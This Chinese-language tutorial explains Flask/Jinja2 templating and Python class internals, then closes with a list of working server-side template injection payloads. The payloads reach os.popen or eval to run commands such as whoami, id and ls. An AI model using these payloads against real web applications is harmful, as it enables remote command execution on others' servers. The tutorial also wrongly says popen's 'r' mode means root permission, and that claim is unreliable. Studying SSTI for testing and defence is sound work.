模板注入
- 什么是Flask
- 什么是SSTI
- 什么是JinJa2
- 什么是模板引擎
- Jinja2 详细知识
- 基本语法
- 基本用法
- 一般用法
- for语句的使用
- if 语句
- 继承
- filter 语句的使用
- 空白行处理
- 类的详细知识
- SSTI的payload
- popen()方法
- python中的SSTI常用的payload
什么是Flask
Flask是一个轻量级的python的web框架。轻量级说明他只适用于构建小型网站。
什么是SSTI
SSTI,Server-Site Template Injection,即服务器模板注入。同XSS注入,SQL注入,XPATH注入一样,他也是注入类的漏洞,形成此漏洞的原因和SQL注入类似,都是在对获取的输入没有过滤或转义,从而发生错误。
此类漏洞多发生在python语言写的网站上
什么是JinJa2
JinJa2是python下面的一个被广泛应用的模板引擎,他的设计思想来源于Django的模板引擎,并扩展了一系列强大的功能。最重要的增加了沙箱和自动转义功能,提高了应用的安全性。
什么是模板引擎
刚才我们解释JinJa2的时候说,他是一种模板引擎。那么什么是模板引擎呢?所谓模板引擎,是为了使用户界面与业务数据分离而产生的。他可以生成特定格式的文档,比如说用于网站的模板引擎就会生成一个标准的HTML文档。
所谓模板引擎,其实就是做一个模板,然后在套入对应位置的数据,最终以HTML的格式展现出来,这就是模板引擎的作用。
可以这样类比:开会!
在小学的时候,每次开会需要提前布置场地,搬好小板凳。而在上大学的时候,每次开会只用去学校的大会议室,桌子板凳音响全都有,人来了就可以使用,也可以复用。
模板引擎就好比已经准备好的桌子板凳音响,只要套入对应位置的数据,就可以直接生成HTML文档使用。
Jinja2 详细知识
基本语法
Jinja2作为一种模板引擎,肯定包含着变量或表达式,因为这两者都可以被对应位置的数据替换赋值。模板中也含有标签,用来控制模板的逻辑。
- 语句
{%...%}
- 变量
{{...}}
- 注释
{#...#}
常用的语句包括:for、if、set、include、block、filter等
变量是通过传递字典来进行使用,然而当使用for语句的时候,变量也可以是列表(比较字典没办法传给for)
基本用法
创建和渲染模板的最基本方法都是通过Template
,通过创建一个Template
实例,就可以得到一个新的模板对象。模板对象有一个render()
方法,该方法可以再调用dict或者keywords参数时填充模板。
from jinja2 import Template
tem = Template('hello,{{name}}')
tem1 = tem.render(name = 'world')
print(tem1)
```输出hello,world```
一般用法
一般情况下,我们使用*.j2文件作为模板文件,用法如下:
This is a Jinja2 template file created by {{name}}
比如上面这就是一个以文件后缀名为j2
保存的一个模板文件,接下来我们将给这个模板文件进行传参并输出。
# 导入各种要使用的包,下面介绍各个包的作用
from jinja2 import Environment,FileSystemLoader
# 这个包用来知道模板文件的路径
j2_loader = FileSystemLoader('./')
# 这个包用来指定模板文件的环境
env = Environment(loader=j2_loader)
#这个包用来指定模板文件,这条语句就相当于上面基本用法里面的使用Teplate创建一个模板对象
j2_tem = env.get_template('./jinja2.j2')
#这个直接开始调用模板文件,模板对象会提供函数render来进行传参
result = j2_tem.render(name='anda')
print(result)
// 输出
for语句的使用
# 进入for循环
{% for name in names %}
# for循环中对每个item进行操作
hello {{ name }}
# 结束for循环,必须存在
{% endfor %}
以上为模板文件语句,其文件名为jinja1_j2。
接下来将对这个模板语句调用
from jinja2 import Environment,FileSystemLoader
j2_loader = FileSystemLoader('./')
env = Environment(loader=j2_loader)
j2_tem = env.get_template('./jinja1.j2')
names = ['zhangsan','lisi','wangwu']
result = j2_tem.render(names=names)
print(result)
输出结果为
hello zhangsan
hello lisi
hello wangwu
for循环中也可以插入列表,如果列表的值是字典类型,那么也可以使用for循环对参数进行赋值。
比如:
模板文件
{% for person in persons %}
my name is {{person.name}},i am {{person.age}} years old
{% endfor %}
引用模板的python文件为
from jinja2 import Environment,FileSystemLoader
j2_loader = FileSystemLoader('./')
env = Environment(loader=j2_loader)
j2_tem = env.get_template('./jinja3.j2')
persons = [{'name':'zhangsan','age':'1'},
{'name':'lisi','age':'2'},
{'name':'wangwu','age':'3'}]
result = j2_tem.render(persons=persons)
print(result)
if 语句
if语句用来判断,当条件成立时,对语句块文件进行渲染(执行的意思),条件失败,则跳过该语句块。
将上个实例中的for模板修改,只有年龄大于2岁才可以打印输出,那么他的模板语句为
{% for person in persons %}
{% if person.age > 2 %}
my name is {{person.name}},i am {{person.age}} years old
{% endif %}
{% endfor %}
相比于for循环,就多加了一句if,以及用来终止if的endif。其他都是没有什么变化的。
继承
在配置功能较多的模板文件时,可以使用模板继承,将模板分解开来。
使用include
语句可以将一个模板完全插入到另一个模板中去
{% include 'jinja3.j2' %}
另一种继承方法是使用block
语句,子模板引用父模板后,可以指定其中的某一些部分,如果子模板中不存在,则使用父模板中的值,父模板可以将block
留空,让子模板直接填充内容
比方说,我们要先建立一个父模板,他的代码为
{% block test %}
This is line can be replaced
{% endblock %}
#父模板的block中间的模板语句是可以被子模板得block中间的语句取代的
This is father template
在建立一个子模板,他的代码为:
# extends用来继承父模板
{% extends 'jinja5_extend_father.j2' %}
# block后面名字相同的语句是可以取代父模板的
{% block test %}
This is children template
{% endblock %}
如果我们直接调用子模板,调用代码如下
from jinja2 import Environment,FileSystemLoader
j2_loader = FileSystemLoader('./')
env = Environment(loader=j2_loader)
j2_tem = env.get_template('./jinja5_extend_children.j2')
result = j2_tem.render()
print(result)
他的输出结果就是
This is children template
# 这句话代替了原来父模板中的block中间的'This is line can be replaced'这一句
This is father template
因为这句话没有在block中,所以没有被子模板中的语句代替,所以还是会继承过来,然后打印输出
filter 语句的使用
filter 语句的作用是对模板数据块的内容进行格式化修改。
比如:大小写转换、统计长度、计算绝对值等,这些都是内置的过滤器。过滤器需要放在表达式或者变量的后面,与表达式或者变量之间用'|'
符号分割。比如{{name | upper()}}
就是将name变量的值全部大写
除了内置过滤器外,也可以自定义过滤器。
自定义过滤器只是常规的python函数,只是将过滤器的左侧作为第一个参数,并且把参数作为额外的参数或关键字传递给过滤器。可以将自己写的函数或者模块导入到环境(就是指要调用模板的python文件)中,进而在Jinja2中使用
Jinja2的默认filter是一个字典,他的查看方式为:Environment.filters
使用方法:通过更新environment
中的filters
字典,在==模板环境(python文件下,不是j2文件下)==下注册。
空白行处理
在上面的实践中,会发现再生成的结果中,有很多空行,默认情况下,jinja2会给渲染之后的结果加上空行。
如果要出去模板中的空行,可以再for
语句、变量表达式的开头或者结尾添加减号(-),就会删除这个语句块之前或者之后的空格
{% for name in names -%}
Hello {{ name }}.
{%- endfor %}
如果减号(-)放在 for 的结尾,就是删除语句块之前的空行,放在endfor 之前,是删除语句块之后的空行,如果前后的空行都删除了,则内容会在同一行。
类的详细知识
.__class__
:用于返回该对象所属的类。
print('12'.__class__) //输出<class 'str'>
print(12..__class__) //输出<class 'float'>
__bases__
:以元祖的形式返回一个类所直接继承的类,可以使用数组索引来查看特定位置的值__base__
:以字符串的形式返回一个类所直接继承的第一个类
__mro__
:以元祖的形式返回解析方法调用的顺序,可以使用数组索引来查看特定位置的值
__subclasses__
:以集合的形式返回获取类的所有子类,可以使用数组索引来查看特定位置的值
__init__
:所有自带类都包含有init()方法,他相当于实例化一个对象,比如print(().__class__.__init__)
,就相当于实例化一个object类的对象,而print(().__init__)
就相当于实例化一个元组类的对象
__globals__
:function.__globals__
,用于获取对象所处空间下可使用的module、方法以及所有变量。他会把这个对象空间下(这里的空间就是同一个py文件就行)的所有的方法,变量都显示出来。意思就是他把他所在的py文件里的变量和方法都会给你打印出来,以字典的形式展现
__name__
:模块的名称,就是类的名称,它返回的是字符串。比如print(().__class__.__name__)
他就会输出tuple,表示()的类的类名为tuple,也就是元组
__builtins__
:__globals__
会返回这个类,所以它可以放在__globals__
的后面,但因为__globals__
是以字典的形式返回的,所以可以用__globals__['__builtins__']
来使用。又因为__builtins__
会以集合的方式返回所有内建函数,所以也包括有eval()
和__import__
函数,所以SSTI注入的时候,可以利用这个类来执行。他的具体模块名为<class '_sitebuiltins.Quitter'>
,大概有三个类有,<class 'warnings.catch_warnings'>
在object类中的排序为140,还有一个在object类中排序为80的<class '_frozen_importlib.BuiltinImporter'>
,还有一个排序为129的 <class '_sitebuiltins.Quitter'>
类,我觉得没有必要纠结他的排序,完全可以用for循环自行判断这些类的顺序。重要的是掌握方法。
__import__()
:__import__()用于加载模块名,他的作用和import 模块名
的作用是一样的
下面是具体演示
class A:
def __init__(self):
pass
class B:
def __init__(self):
pass
class C(A):
def __init__(self):
pass
class D(A):
def __init__(self):
pass
c = C()
a = A()
print(c.__class__) //输出<class '__main__.C'>
print(c.__class__.__bases__) //输出(<class '__main__.A'>,)
print(c.__class__.__base__) //输出<class '__main__.A'>
print(c.__class__.__mro__) //输出(<class '__main__.C'>, <class '__main__.A'>, <class 'object'>)
print(a.__class__.__mro__.__init__()) //输出None
print(a.__class__.__subclasses__()) //输出[<class '__main__.C'>, <class '__main__.D'>]
print(a.__class__.__subclasses__()[0].__init__.__globals__) //输出{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000239CF1A1CF8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D://xx/xx/1.py', '__cached__': None, 'A': <class '__main__.A'>, 'B': <class '__main__.B'>, 'C': <class '__main__.C'>, 'D': <class '__main__.D'>, 'c': <__main__.C object at 0x00000239CF2264E0>, 'a': <__main__.A object at 0x00000239CF2269B0>}
就是把这个文件下的所有的类,所有的方法全都打印输出
我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,从而完成注入。
SSTI的payload
对于不同的python版本,paoload也是不同的。
popen()方法
它必须在os的类下面进行运行才可
格式:os.popen(command[, mode[, bufsize]])
command表示指令。
mode表示模式权限,默认为r,表示root权限
举例
import os
c = 'mkdir b'
os.popen(c,'r') //他会创建一个名称为b的文件夹
python中的SSTI常用的payload
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()
"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
//其实这里面的-1就是列表从右到左按下标取值,-1表示从右到左数的一个值
"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
或者用下面这种jinja2格式的payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
// 因为<class 'warnings.catch_warnings'>内部也有__builtins__属性,所以这个循环才会得以利用
''.__class__.__mro__[-1].__subclasses__()[128].__dir__(''.__class__.__mro__[-1].__subclasses__()[128])
// 可以使用这个查看某一类下面的所有方法,十分好用
{{''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
}}
sys.modules sys.modules是一个全局字典,字典sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块。